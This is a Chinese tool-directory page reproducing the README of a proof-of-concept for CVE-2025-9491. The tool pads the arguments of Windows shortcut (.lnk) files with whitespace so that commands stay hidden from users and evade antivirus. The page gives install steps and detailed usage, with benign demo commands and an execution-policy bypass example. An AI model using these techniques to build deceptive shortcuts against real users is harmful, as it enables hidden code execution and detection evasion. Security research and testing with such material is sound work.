Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-9491_POC — 针对CVE-2025-9491的概念验证,利用Windows快捷方式文件(.lnk)参数中的不可见字符 | Kitploit
工具/GitHubGitHub/amperclock/cve-2025-9491_poc
漏洞利用渗透测试二进制分析学习与教育红队Payload 开发
GitHubamperclock/cve-2025-9491_poc

CVE-2025-9491_POC

针对CVE-2025-9491的概念验证,利用Windows快捷方式文件(.lnk)参数中的不可见字符

查看仓库
1849个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-9491 LNK 混淆概念验证

一个概念验证工具,用于演示 Windows 快捷方式 (.lnk) 文件漏洞 (ZDI-CAN-25373/CVE-2025-9491)。该工具展示了如何通过利用空白字符填充,在 .lnk 文件中隐藏恶意命令行参数。

本工具仅供教育和授权的安全测试目的使用。未经授权的计算机系统访问是违法的。仅在你拥有或已获得明确许可的系统上使用此工具。


目录

  • 描述
  • 漏洞详情
  • 安装
  • 用法
    • 创建模式
    • 混淆模式
    • 解析模式
  • 致谢

描述

这是一个概念验证工具,用于创建和操作 Windows .lnk(快捷方式)文件,以演示 CVE-2025-9491 漏洞。该工具允许用户:

  1. 创建 全新的混淆 LNK 文件
  2. 混淆 现有的 LNK 文件,在其参数中添加填充字符
  3. 解析 LNK 文件以查看其内容

该漏洞利用了 Windows 显示快捷方式文件属性的方式,使攻击者能够向检查快捷方式的用户隐藏恶意命令行参数。


漏洞详情

CVE-2025-9491 是一个影响 .lnk(快捷方式)文件的 Windows UI 误表示漏洞。它由 Trend Micro 的 Zero Day Initiative (ZDI-CAN-25373) 发现,自 2017 年以来已被国家支持的 APT 组织利用(更多详情请参见致谢)。

该漏洞利用了 Windows 快捷方式 UI 中固定大小的“目标”字段。通过在参数中添加空白字符(空格、制表符、换行符、回车符)进行填充,攻击者可以:隐藏恶意命令并执行隐藏的有效载荷。这还可用于逃避检测,因为检查快捷方式的用户只会看到填充的空白字符,而看不到真实命令;EDR 将在遥测数据中看到极长的命令行,如果长度足够,常见的 EPP 或防病毒软件将放弃读取全部内容。


安装

需要 Python 3.7 或更高版本。

  1. 克隆或下载仓库:

    root@kitploit:~
    git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
    cd CVE-2025-9491_POC
    
  2. 安装依赖:

    root@kitploit:~
    快速方法,建议使用虚拟环境。
    pip install -r requirements.txt
    
  3. 运行工具:

    root@kitploit:~
    python main.py --help
    

用法

该工具有三种主要模式:create(创建)、obfuscate(混淆)和 parse(解析)。

创建模式

从头开始创建一个新的混淆 LNK 文件。

语法:

root@kitploit:~
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [选项]

必需参数:

  • -t, --target - 目标可执行文件的路径
  • -a, --arguments - 传递给目标可执行文件的参数
  • -o, --output - 输出 LNK 文件的目标路径

可选参数:

  • -c, --charset - 用于填充的自定义字符集(十六进制格式)

    • 默认值: 20,09,0A,0B,0C,0D(空格、制表符、LF、VT、FF、CR)
    • 格式: 逗号分隔的十六进制值(不带 0x 前缀)
  • -s, --padding_size - 填充字符的数量

    • 默认值: 128(已知无限制)
    • 类型: 整数
  • -p, --pattern_type - 填充模式样式

    • 1(默认): 随机模式 - 从字符集中随机选择
    • 2: 单一模式 - 重复使用字符集中第一个元素
    • 3: 循环模式 - 循环使用字符集中的元素
  • -i, --icon - 快捷方式的自定义图标路径

    • 默认值: 无(使用默认图标)
  • -d, --description - 快捷方式的可见描述

    • 默认值: 无
  • -v, --verbose - 启用详细输出

    • 默认值: 禁用

示例:

root@kitploit:~
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v

混淆模式

在现有 LNK 文件的参数中添加填充。

语法:

root@kitploit:~
python main.py obfuscate -i INPUT -o OUTPUT [选项]

必需参数:

  • -i, --input - 要混淆的现有 LNK 文件路径
  • -o, --output - 输出 LNK 文件的目标路径

可选参数:

  • -c, --charset - 用于填充的自定义字符集(十六进制格式)

    • 默认值: 20,09,0A,0B,0C,0D
    • 格式: 逗号分隔的十六进制值
  • -s, --padding_size - 填充字符的数量

    • 默认值: 128
    • 类型: 整数
  • -p, --pattern_type - 填充模式样式

    • 1(默认): 随机模式
    • 2: 单一模式
    • 3: 循环模式
  • -v, --verbose - 启用详细输出

    • 显示文件加载、填充生成和保存操作

示例:

root@kitploit:~
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v

解析模式

显示现有 LNK 文件的内容。

语法:

root@kitploit:~
python main.py parse -i INPUT

必需参数:

  • -i, --input - 要解析并显示的 LNK 文件路径

示例:

root@kitploit:~
python main.py parse -i output.lnk

示例

示例 1:创建一个简单的混淆快捷方式

root@kitploit:~
python main.py create \
  -t "cmd.exe" \
  -a "/c powershell -Command Get-Process" \
  -o malicious.lnk \
  -s 200 \
  -p 1 \
  -v

这将创建一个指向 cmd.exe 的快捷方式,其隐藏的 PowerShell 命令前有 200 个随机填充字符。

示例 2:混淆现有快捷方式

root@kitploit:~
python main.py obfuscate \
  -i "legitimate.lnk" \
  -o "obfuscated.lnk" \
  -s 512 \
  -c "20,09,0A" \
  -p 2

这将在现有快捷方式的参数中添加 512 个单一模式填充字符(使用空格和制表符)。

示例 3:检查 LNK 文件

root@kitploit:~
python main.py parse -i "suspicious.lnk"

输出显示所有属性,包括隐藏的参数。

示例 4:自定义字符集模式

root@kitploit:~
python main.py create \
  -t "powershell.exe" \
  -a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
  -o output.lnk \
  -c "20,09,0A,0B,0C,0D" \
  -s 1024 \
  -p 3 \
  -d "My Document"

致谢

  • 漏洞发现: Trend Micro Zero Day Initiative ZDI-CAN-25373
  • pylnk3 库: Strayge 及贡献者
  • 原始 pylnk 库: tim-erwin
下载工具